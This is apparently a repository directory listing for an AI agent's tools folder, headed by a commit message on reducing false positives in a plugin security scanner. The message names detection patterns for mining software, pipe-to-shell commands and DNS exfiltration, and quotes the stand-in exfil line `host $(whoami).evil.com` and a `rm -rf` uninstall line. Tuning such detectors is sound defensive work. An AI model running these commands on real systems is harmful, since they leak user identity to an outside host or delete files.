teknium1 2be78cbcf7 fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep ...

Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):

- crypto_mining: the bare coin name `monero` as a keyword in a connector
  index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
  lands at medium when nothing on the line names miner software, a pool,
  an algorithm or the act of mining. xmrig / stratum / coinhive /
  cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
  the exfil shape itself (an interpolation inside a domain name,
  `host $(whoami).evil.com`) or a shell command position (`; host $x`,
  `do host $c`). "the connected host (${id})", a JS `host ${status}:`
  message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
  alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
  BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
  a `"key": "string"` pair or a bare string list element of a .json data
  file (tips / translation table) takes the README prose cap. Command keys,
  a string that starts with the command (`"sudo",` in an args array),
  package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
  literal is data, so a hostile-input table no longer counts as executing.
  `os.system(...)`/`exec(...)` outside the literal still do; shell files
  keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
  `${HOME}`) gets the same note as the `$HOME` form; a wider target or the
  same line in a .sh keeps severity.

curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.

SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).

2026-10-01 22:05:55 -07:00

..

bot_desktop

fix(child-env): the bot desktop and gmail-triage scripts start from the scrubbed env

2026-09-29 02:06:58 +05:30

computer_use

fix(security): harden at-rest secrets in browser profiles, media caches, and the in-flight journal

2026-10-01 01:50:16 -05:00

connectors

feat(telemetry): record MCP server installs as extension-install events

2026-09-28 12:43:03 -07:00

environments

fix(cron): overlay the routed no_agent scope inside build_subprocess_env

2026-09-29 22:57:48 -04:00

neutts_samples

…

wakewords

…

__init__.py

…

AGENTS.md

feat(terminal): heartbeat notifications for long background processes

2026-09-21 15:02:49 -07:00

annotate_preview_tool.py

fix(tools): split the merged preview/terminal bridge timeout errors into the two cases they conflate

2026-09-29 12:25:29 -05:00

ansi_strip.py

…

apply_layout_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

approval_context.py

Revert "feat(approval): a turn can hold its approval prompts open until answered"

2026-10-01 13:23:12 -07:00

approval_detection.py

fix(approval): give global-flag runs one parse in dangerous-command rules

2026-09-30 21:33:08 -04:00

approval_floors.py

merge: current main into consolidated PM and onboarding

2026-09-12 10:37:00 -04:00

approval_gateway_wait.py

Revert "feat(approval): a turn can hold its approval prompts open until answered"

2026-10-01 13:23:12 -07:00

approval_human_wait.py

Revert "feat(approval): a turn can hold its approval prompts open until answered"

2026-10-01 13:23:12 -07:00

approval_prompt.py

Revert "feat(approval): a turn can hold its approval prompts open until answered"

2026-10-01 13:23:12 -07:00

approval_smart.py

fix(approval): warn on empty smart-approval guardian answers

2026-09-20 15:32:42 -07:00

approval.py

Revert "chore: review follow-ups — stale timeout comments, softer docs claim, group-turn cap credits only user-blocked intervals"

2026-10-01 13:23:12 -07:00

arg_coercion.py

…

async_delegation_recovery_hints.py

fix(git): neutralize repository-named filters at the kanban, worktree-gc and recovery-hint calls

2026-10-02 01:24:41 +05:30

async_delegation.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

audio_container.py

…

binary_extensions.py

refactor(tools): one suffix helper for the binary-extension checks; drop the dead .db3 member

2026-09-17 21:17:26 +05:30

blueprints.py

fix(pm): isolate bootstrap dependencies and unify YAML on ruamel

2026-09-11 12:23:51 -04:00

bot_failure_reasons.py

fix(bot-relay): classify the named-secret spelling of a scope refusal too

2026-10-01 16:18:46 +05:30

bot_live_delivery.py

fix(bot-mode): bound the live DM wait and check the owner with the claim's own match

2026-09-30 10:00:37 -05:00

bot_mode_dm.py

fix(bot-mode): bound the live DM wait and check the owner with the claim's own match

2026-09-30 10:00:37 -05:00

bot_mode_probe.py

fix(bot-chat): rebuild a stale Bot Chat's tools through the surface builder (#124211, salvage #124307)

2026-09-28 06:06:17 -07:00

bot_relay.py

test(bot-relay): pin that a home override beats the launch-home fallback

2026-10-01 16:18:46 +05:30

browser_camofox_state.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

browser_camofox.py

fix(multiplex): key tool-side and agent-side memos by profile home

2026-09-12 01:35:05 -07:00

browser_cdp_tool.py

Merge origin/main; keep PM as plugin dependency owner

2026-09-17 13:52:05 -04:00

browser_dialog_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

browser_extension_router.py

…

browser_lightpanda.py

Merge origin/main into ethie/pm-clean

2026-09-23 20:04:27 -04:00

browser_supervisor_dialogs.py

…

browser_supervisor_frames.py

…

browser_supervisor.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

browser_tool_cdp.py

fix: bypass the proxy on loopback HTTP CDP discovery and keep NO_PROXY=* intact

2026-09-15 06:16:38 -07:00

browser_tool_cloud.py

feat(telemetry): wire memory, curator, delegation and backend call sites

2026-09-28 12:43:03 -07:00

browser_tool_eval_policy.py

…

browser_tool_install.py

fix(encoding): read kernel pseudo-files as plain utf-8

2026-09-24 11:50:30 -04:00

browser_tool_lifecycle.py

Merge origin/main into ethie/pm-clean

2026-09-23 10:13:26 -04:00

browser_tool_lightpanda_fallback.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-23 07:36:31 -04:00

browser_tool_origin.py

…

browser_tool_real_profile.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-23 07:36:31 -04:00

browser_tool_session.py

fix(tools): preserve agent-browser session for CDP commands to resolve snapshot refs

2026-10-01 03:18:09 -05:00

browser_tool_snapshot.py

fix(vault): independent-review findings — vendor contracts, profile scope, transport, target binding

2026-09-10 10:35:07 -07:00

browser_tool_vision.py

feat(vision): vision.embed_target_bytes replaces the hardcoded 256 KB native embed budget

2026-09-17 09:02:55 -07:00

browser_tool.py

feat(telemetry): wire memory, curator, delegation and backend call sites

2026-09-28 12:43:03 -07:00

browser_use_cli.py

feat(bot_desktop): Bot Screen, computer_use and the browser run inside the terminal backend (#121169)

2026-09-28 03:34:07 -07:00

browser_vault_tool.py

fix(bot-desktop): re-admit secret writes after a prompt; recover pre-marker dock launchers

2026-09-18 14:06:15 -07:00

budget_config.py

refactor(agent): /context breakdown and native-compaction retention use the canonical token estimator

2026-09-13 05:09:43 -07:00

checkpoint_maintenance.py

refactor: separate checkpoint store maintenance from snapshots

2026-09-24 01:55:51 -04:00

checkpoint_manager_profile_rename.py

fix: align Python CI contracts with current PM and checkout behavior

2026-09-24 03:42:38 -04:00

checkpoint_manager.py

fix(checkpoints): refuse an empty restore selection and delete read-only test repos

2026-09-29 14:12:41 -04:00

checkpoint_pruning.py

fix(checkpoints): a checkpoint never waits on git gc; the periodic prune reclaims

2026-09-19 01:03:23 -04:00

clarify_gateway.py

Revert "docs: approvals.timeout and agent.clarify_timeout are the messaging-platform deadlines"

2026-10-01 13:23:12 -07:00

clarify_tool.py

fix(tools): reject all-blank and over-limit clarify choices instead of dropping them silently

2026-09-29 19:44:05 -05:00

close_preview_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

close_terminal_tool.py

…

code_execution_env.py

fix(execute-code): preserve PM runtime dependencies for own kernel

2026-09-28 06:42:00 -07:00

code_execution_rpc.py

fix(execute_code): report in-script tool errors the script ignored

2026-09-28 10:11:33 -07:00

code_execution_tool.py

feat(telemetry): wire memory, curator, delegation and backend call sites

2026-09-28 12:43:03 -07:00

code_kernel_remote.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

code_kernel.py

fix(execute_code): report in-script tool errors the script ignored

2026-09-28 10:11:33 -07:00

computer_use_tool.py

…

credential_files.py

refactor(gateway): name the media-cache max age and lstat cache files once

2026-10-02 01:18:03 +05:30

cronjob_job_args.py

feat(cron): allow Python scripts to use an external interpreter

2026-09-28 02:32:05 +05:30

cronjob_prompt_scan.py

…

cronjob_tools.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

daemon_pool.py

Merge origin/main; keep PM as plugin dependency owner

2026-09-17 13:52:05 -04:00

debug_helpers.py

…

delegate_tool_child_run.py

fix(delegate): mark elided timeout-diagnostic goal and eval tool output

2026-09-27 18:17:20 +05:30

delegate_tool_config.py

fix(cron): a pinned job never falls back to the global fallback chain (#120312)

2026-09-23 10:42:18 -04:00

delegate_tool_dispatch.py

feat(telemetry): wire memory, curator, delegation and backend call sites

2026-09-28 12:43:03 -07:00

delegate_tool_progress.py

fix(delegation): make remaining-depth guidance unambiguous

2026-09-19 23:57:59 -07:00

delegate_tool_registry.py

…

delegate_tool_results.py

…

delegate_tool_tasks.py

Port from RooCodeInc/Roomote#1796: per-task image forwarding on delegate_task

2026-09-13 21:05:42 -07:00

delegate_tool_toolsets.py

fix(delegate): composite parents can grant their included toolsets to children

2026-09-15 18:40:52 -07:00

delegate_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

delegation_live_log.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

delegation_output_schema.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

desktop_ui.py

fix(desktop): route message.reaction events by session id, not window id

2026-10-01 01:53:55 -05:00

discord_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

drive_preview_tool.py

fix(tools): split the merged preview/terminal bridge timeout errors into the two cases they conflate

2026-09-29 12:25:29 -05:00

env_passthrough.py

fix(child-env): openviking drops the profile overlay's bot tokens; unprovable manifests don't block spawns

2026-09-29 02:06:58 +05:30

env_probe.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

fal_common.py

merge: refresh upstream models, notification expiry, and desktop controls

2026-09-21 14:01:47 -04:00

feishu_doc_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

feishu_drive_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

feishu_lark.py

…

file_operations_common.py

fix(file-ops): a failed byte-exact read is not an absent file

2026-09-25 14:58:09 -04:00

file_operations_lint.py

fix(file-ops): refuse JSON NaN/Infinity only when the write introduces it

2026-10-02 01:15:39 +05:30

file_operations_search.py

merge origin/main (779 commits) into ethie/pm-clean

2026-09-21 00:58:39 -04:00

file_operations.py

refactor(tools): pass the Unicode edit plan explicitly; tighten JSON constant scan

2026-10-02 01:15:39 +05:30

file_state.py

fix(file_state): drop the module-level forget_task wrapper

2026-09-18 10:10:40 -07:00

file_tools_paths.py

fix(file_ops): a trailing separator must not empty the Delete/Move entry leaf

2026-09-27 01:10:56 +05:30

file_tools_read_tracking.py

fix: bind baseline reads to the task local path

2026-09-21 18:39:24 -07:00

file_tools_write_guards.py

docs(file-tools): trim remote-binary state helper docstring to its contract

2026-09-26 22:26:05 +05:30

file_tools.py

feat(telemetry): harness-accuracy shared metrics for the agent loop

2026-09-28 12:43:03 -07:00

focus_pane_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

fuzzy_match.py

refactor(tools): pass the Unicode edit plan explicitly; tighten JSON constant scan

2026-10-02 01:15:39 +05:30

homeassistant_tool.py

fix(profiles): side-thread asyncio.run workers keep the caller's profile scope

2026-09-16 16:59:03 -07:00

hook_output_spill.py

…

image_generation_catalog.py

feat(image-gen): Kling Image v3 in the FAL catalog (t2i + singular-key i2i)

2026-09-13 21:03:11 -07:00

image_generation_managed.py

refactor(image_gen): managed_route() owns stored-value normalisation; unreadable Krea refs return an error

2026-10-01 16:22:28 +05:30

image_generation_tool.py

refactor(image_gen): managed_route() owns stored-value normalisation; unreadable Krea refs return an error

2026-10-01 16:22:28 +05:30

image_source.py

fix(docker): bind a Windows workspace when /workspace is already claimed

2026-09-26 18:27:10 -05:00

interpreter_shutdown.py

…

interrupt.py

fix(tools): honor false interrupt debug values

2026-09-16 17:21:14 -07:00

kanban_tools_schemas.py

feat(kanban): add in-process schedule tool

2026-10-01 09:26:00 -04:00

kanban_tools.py

fix(kanban): gate kanban_schedule like the other lifecycle tools

2026-10-01 09:26:00 -04:00

kanban_toolset_context.py

fix(kanban): honor explicit platform tool opt-ins across configuration surfaces

2026-09-12 12:32:55 -07:00

lazy_deps.py

fix(deps): gate the runtime takeover on genuinely historical updater frames

2026-09-29 15:08:07 +05:30

managed_gateway_auth.py

…

managed_tool_gateway.py

fix(web): exclude the anonymous guest tier from free fast search

2026-10-01 23:55:54 +05:30

mcp_dashboard_oauth.py

feat(connectors): one backend-owned connection operation, with a setup card on Desktop, TUI and CLI (#111008)

2026-09-21 10:04:32 +05:30

mcp_death_supervisor.py

…

mcp_liveness.py

fix(tools): say 'MCP connection missing' when only the MCP connection is missing

2026-09-27 06:26:52 -05:00

mcp_oauth_device.py

fix(mcp): ask Google-hosted OAuth for offline access and normalize the device-flow issuer check

2026-09-20 18:22:18 -07:00

mcp_oauth_manager.py

fix(mcp): reload OAuth provider on first sight when no tokens in memory (#39551)

2026-09-25 14:27:51 +05:30

mcp_oauth_provider.py

refactor: make install-stamp.json the single runtime version identity

2026-09-23 11:41:01 -04:00

mcp_oauth.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

mcp_schema_cache.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

mcp_tool_agent.py

fix: key the tools[] pin by code version; never re-add config-excluded tools

2026-09-23 15:43:51 -07:00

mcp_tool_common.py

revert: stop hoisting the MCP stdio command's directory to PATH[0]

2026-09-28 02:03:42 +05:30

mcp_tool_config.py

fix(logs): hermes logs --since/--level handle unstamped lines and MCP output

2026-09-28 19:02:20 +05:30

mcp_tool_content.py

refactor(tools): terminal, execute_code, MCP and the bounded collector truncate through one head/tail helper

2026-09-13 05:09:43 -07:00

mcp_tool_discovery.py

fix(review): MCP owner rebuild keeps the launch profile's env-only credentials (#119092 review)

2026-09-28 05:24:26 -07:00

mcp_tool_errors.py

fix(mcp): name the rebuild when a stdio server's native addon was built for another Node

2026-09-27 21:30:10 -07:00

mcp_tool_handlers.py

Application-backed MCP servers: live endpoint per attempt, tools follow app liveness, errors and the tool catalog say why (NS-943) (#119050)

2026-09-22 17:54:42 +05:30

mcp_tool_health.py

fix(mcp): skip dynamic tool refresh when the server session is already gone (#109824)

2026-09-17 19:06:29 -04:00

mcp_tool_lifecycle.py

fix(mcp): kill Windows stdio MCP orphan trees (#61059)

2026-09-26 20:58:16 -04:00

mcp_tool_loop.py

fix(multiplex): key tool-side and agent-side memos by profile home

2026-09-12 01:35:05 -07:00

mcp_tool_node_abi.py

fix(mcp): name the rebuild when a stdio server's native addon was built for another Node

2026-09-27 21:30:10 -07:00

mcp_tool_registration.py

fix(mcp): resolve the adopter's identity in its own scope, and never abort the pass on it

2026-09-26 22:40:54 +05:30

mcp_tool_sampling.py

chore: drop merge-resolution notes, dead imports and a dead probe module

2026-09-18 19:31:50 -04:00

mcp_tool_schema.py

fix(mcp): keep required-only constraint fragments in tool schemas

2026-09-21 13:14:22 -07:00

mcp_tool_scope.py

fix(mcp): same-named MCP servers with different credentials connect per profile; owner /reload-mcp keeps adopters' tools

2026-09-11 15:27:23 -07:00

mcp_tool_server_run.py

fix(mcp): remote headers render under the owner's fresh secret scope at connect and every reconnect (#119092, salvage #119097)

2026-09-28 05:24:26 -07:00

mcp_tool_transport.py

fix(mcp): name the rebuild when a stdio server's native addon was built for another Node

2026-09-27 21:30:10 -07:00

mcp_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

memory_tool_store.py

refactor(memory): derive batch receipts from the matched list

2026-09-24 15:38:22 +05:30

memory_tool.py

feat(telemetry): wire memory, curator, delegation and backend call sites

2026-09-28 12:43:03 -07:00

microsoft_graph_auth.py

…

microsoft_graph_client.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

neutts_synth.py

fix(runtime): route dependency hints through pm

2026-09-11 18:13:06 -04:00

open_preview_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

openrouter_client.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

osv_check.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-14 15:38:34 -04:00

patch_parser.py

fix(patch): a Move or Add destination is free only when its read says absent

2026-09-25 14:58:09 -04:00

path_security.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

plugin_guard_context.py

fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep

2026-10-01 22:05:55 -07:00

plugin_guard.py

fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep

2026-10-01 22:05:55 -07:00

preview_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

process_registry_checkpoint.py

fix: re-attach a live recovered PID instead of inventing an exit

2026-09-26 17:19:34 -05:00

process_registry_notifications.py

fix(process): heartbeats wake the agent only on new output, and never as a user bubble

2026-09-26 22:19:53 -05:00

process_registry_results.py

Merge origin/main; keep PM as plugin dependency owner

2026-09-17 13:52:05 -04:00

process_registry.py

fix(process-registry): has_active_processes filters on the raw owner, stamp WSL chains

2026-10-01 00:52:58 -05:00

project_tools.py

fix(projects): CLI and pathless switches move the active project again

2026-09-24 03:52:03 -05:00

pty_query_responder.py

Port from openai/codex#41436: answer blocking terminal queries in background PTY sessions

2026-09-12 22:09:19 -07:00

react_to_message_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

read_extract.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

read_preview_tool.py

fix(tools): word the read_preview hint so the Windows footgun lint doesn't read it as open()

2026-09-29 12:25:29 -05:00

read_terminal_tool.py

fix(tools): split the merged preview/terminal bridge timeout errors into the two cases they conflate

2026-09-29 12:25:29 -05:00

read_window_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

registry.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-23 15:26:34 -04:00

schema_sanitizer.py

fix(tools): coerce a missing required to [] and pin the MCP normalizer entry (#56123)

2026-09-19 10:16:59 -07:00

self_repo_guard.py

fix(desktop): decode UTF-8 child output explicitly on the serve/agent path (#83851)

2026-09-23 18:52:49 -05:00

send_message_senders.py

feat(pm): hermes pm install --extra NAME; one shared hint for missing extras

2026-09-21 19:08:19 -04:00

send_message_targets.py

…

send_message_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

session_search_tool.py

fix(time): repair surrogate-bearing locale zone names at every strftime site

2026-09-23 18:29:35 -05:00

shell_heredoc.py

fix(tools): classify prefixed heredoc consumers

2026-09-18 09:35:16 -07:00

skill_ledger.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

skill_linter.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

skill_manager_batch.py

fix(skills): batch rollback undoes every file it wrote into an adopted dir

2026-09-24 16:49:18 +05:30

skill_manager_guards.py

…

skill_manager_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

skill_provenance.py

…

skill_usage.py

feat(skills): external mounts get an 'external' provenance tier (#108032)

2026-09-30 23:10:24 -05:00

skillevaluator_scan.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

skills_ast_audit.py

…

skills_guard.py

fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep

2026-10-01 22:05:55 -07:00

skills_hub_clawhub.py

fix(skills): route the ClawHub owner lookup through the hub connection pool

2026-09-22 15:59:17 +05:30

skills_hub_github.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-22 07:05:11 -04:00

skills_hub_install.py

feat(telemetry): v5 signals — tool_unavailable, provider_setup, feature_adoption, feature_disabled

2026-09-28 12:43:03 -07:00

skills_hub_models.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-22 07:05:11 -04:00

skills_hub_official.py

Merge origin/main; keep PM as plugin dependency owner

2026-09-17 13:52:05 -04:00

skills_hub_search.py

fix(skills): hoist the hub import out of the index retry loop

2026-09-22 15:59:17 +05:30

skills_hub_skillssh.py

fix(tools): resolve skills.sh skills whose SKILL.md sits at the repo root

2026-09-20 12:58:32 -07:00

skills_hub_sources.py

…

skills_hub.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

skills_sync_bundled_ops.py

…

skills_sync_client_org.py

…

skills_sync_client_wire.py

revert: remove Collective Wisdom V1 (#94266)

2026-09-11 11:54:49 -07:00

skills_sync_client.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

skills_sync_optional.py

…

skills_sync.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

skills_tool_dedup.py

fix: pruned skill_view/read_file results reload after a proactive prune

2026-09-16 17:23:44 -07:00

skills_tool_plugin.py

…

skills_tool_setup.py

fix(skills): honor profile-scoped readiness secrets

2026-09-15 18:33:15 -07:00

skills_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

slash_confirm.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

spill_safety.py

…

stt_lease.py

fix(desktop): carry STT warm-up readiness into transcription and enforce lease ownership

2026-09-30 15:16:40 -05:00

subagent_worktree.py

fix(git): neutralize repository-named filters in subagent finalization, worktree reclaim and hermes -w

2026-10-02 01:24:41 +05:30

terminal_hints.py

…

terminal_scope.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

terminal_tool_backends.py

feat(vercel): fresh sandboxes use a managed image (universal:latest); runtime presets deprecated, migration 49 (#126741)

2026-09-28 12:33:01 -07:00

terminal_tool_background.py

fix(docker): bind a Windows workspace when /workspace is already claimed

2026-09-26 18:27:10 -05:00

terminal_tool_config.py

fix(docker): ignore a non-string host root when translating a mounted path

2026-09-26 18:27:10 -05:00

terminal_tool_guards.py

fix(docker): bind a Windows workspace when /workspace is already claimed

2026-09-26 18:27:10 -05:00

terminal_tool_lifecycle.py

fix(tui-gateway): exiting mid-tool no longer orphans the foreground command's process tree

2026-09-23 17:09:54 -07:00

terminal_tool_result.py

Merge origin/main; keep PM as plugin dependency owner

2026-09-17 13:52:05 -04:00

terminal_tool_sudo.py

fix(environments): preserve byte-exact SDK stdin

2026-09-26 23:44:55 +05:30

terminal_tool.py

fix(telemetry): terminal.outcome=timeout comes only from Hermes' deadline

2026-09-28 12:43:03 -07:00

thread_context.py

feat(vault): two-factor codes — automatic from a saved authenticator key, otherwise asked for in the user's UI

2026-09-10 11:48:01 -07:00

threat_patterns.py

fix(skills): an env-var NAME constant is not an embedded credential

2026-09-20 11:30:03 -07:00

tip_tool.py

…

tirith_security.py

fix(security): the first tirith scan no longer waits on its download (#128150)

2026-09-29 17:29:05 +00:00

todo_tool.py

Inline agent tools get the shared argument repair (clarify, todo, memory, session_search) (#127781)

2026-09-29 22:07:30 +05:30

tool_backend_helpers.py

fix(web): keep the account-read call shape that zero-arg stubs rely on

2026-10-01 23:55:54 +05:30

tool_labels.py

feat(connectors): the backend API for the desktop Connectors page; connect an app without a chat session (#115191)

2026-09-22 13:57:51 +05:30

tool_output_limits.py

fix(tools): profile-scoped checkpoint/snapshot paths, tool caches, TZ and schema paths under multiplex

2026-09-11 15:44:00 -07:00

tool_output_truncate.py

refactor(agent): one Retry-After parser and one reset-grammar table feed every retry wait

2026-09-13 05:09:43 -07:00

tool_result_storage.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

tool_search_catalog.py

Application-backed MCP servers: live endpoint per attempt, tools follow app liveness, errors and the tool catalog say why (NS-943) (#119050)

2026-09-22 17:54:42 +05:30

tool_search_validation.py

fix(tools): tool_call bridge treats blank arguments as no arguments

2026-09-19 10:03:11 -07:00

tool_search.py

fix(tools): tool_call scope gate names the missing GUI surface for preview tools

2026-09-30 23:07:09 -05:00

tour_tool.py

chore(desktop): literal comments across the onboarding flow (#108438)

2026-09-12 10:00:08 +05:30

transcription_audio.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-22 05:16:50 -04:00

transcription_cloud.py

fix(stt): never stringify a structured STT error response into the transcript

2026-09-27 03:45:07 -04:00

transcription_command.py

Merge remote-tracking branch 'origin/main' into ethie/pm-clean

2026-09-14 15:38:34 -04:00

transcription_common.py

fix(stt): never stringify a structured STT error response into the transcript

2026-09-27 03:45:07 -04:00

transcription_local.py

Merge origin/main; keep PM as plugin dependency owner

2026-09-17 13:52:05 -04:00

transcription_tools.py

fix(desktop): pin each voice operation to one owner and fence stale STT continuations

2026-09-30 15:16:40 -05:00

tts_command_provider.py

fix(tts): resolve command-provider env_passthrough through the profile secret scope

2026-09-28 12:23:25 -07:00

tts_streaming.py

fix(tts): single pump-side byte cap and bounded queue for xAI streaming

2026-09-26 06:19:34 +05:30

tts_text_normalize.py

fix(tts): silence identifier-dense tokens in both speech normalizers

2026-09-30 23:02:33 -05:00

tts_tool_delivery.py

refactor(gateway): every Ogg/Opus voice transcode routes through base.transcode_to_ogg_opus

2026-09-13 05:32:38 -07:00

tts_tool_lifecycle.py

fix(review): run TTS warm/release command hooks under the caller's secret scope (#120481)

2026-09-28 12:23:25 -07:00

tts_tool_local.py

…

tts_tool_openai.py

fix: forward tts.openai.consent_attestation to every OpenAI-compatible TTS request

2026-09-19 10:10:29 -07:00

tts_tool_plugins.py

…

tts_tool_providers.py

fix(tts): keep the Gemini API key out of request URLs

2026-09-26 06:19:34 +05:30

tts_tool_speaker.py

fix(tts): drop the empty mkstemp placeholder when the provider wrote elsewhere

2026-09-20 10:25:30 -07:00

tts_tool.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

url_safety.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

video_generation_tool.py

fix: video generation tools no longer let the agent pick the model

2026-09-19 12:22:44 -07:00

vision_tools_history_budget.py

fix: vision_analyze does not re-embed an image already attached natively to the current turn

2026-09-19 09:52:18 -07:00

vision_tools_image_prep.py

fix(security): harden at-rest secrets in browser profiles, media caches, and the in-flight journal

2026-10-01 01:50:16 -05:00

vision_tools.py

fix(security): harden at-rest secrets in browser profiles, media caches, and the in-flight journal

2026-10-01 01:50:16 -05:00

voice_client_config.py

fix(desktop): client-direct STT hallucination filter and voice.barge_in pref (#126708)

2026-09-29 18:19:39 -05:00

voice_live.py

feat(voice): GPT-Live voice chat mode — a full-duplex voice frontend that delegates to Hermes (Desktop)

2026-09-11 19:14:24 -07:00

voice_mode_transcript.py

…

voice_mode.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

wake_word_engines.py

…

wake_word.py

fix(wake): keep the halt hook armed on the recovered capture

2026-09-29 19:14:28 -05:00

web_result_cache.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

web_tools_extract.py

fix(web): key extract cache on metadata.sourceURL too, pin redirect case

2026-09-15 18:42:38 -07:00

web_tools_rescue.py

fix(web): serve free managed fast search to every Nous identity

2026-10-01 23:55:54 +05:30

web_tools_truncate.py

feat(tools): read_file renders SQLite schemas and flags merge conflicts; web_extract refuses binary payloads

2026-09-19 03:07:47 -07:00

web_tools.py

fix(web): serve free managed fast search to every Nous identity

2026-10-01 23:55:54 +05:30

website_policy.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00

working_diff.py

Let PM own Git environments and Matrix dependency preparation

2026-09-12 19:03:39 -04:00

write_approval.py

fix(skills): preview a staged patch through the approval matcher

2026-09-30 23:05:43 -05:00

x_search_tool.py

fix(tools): stop check_fns swallowing resolver crashes into "returned False"

2026-09-13 12:35:36 -07:00

xai_http.py

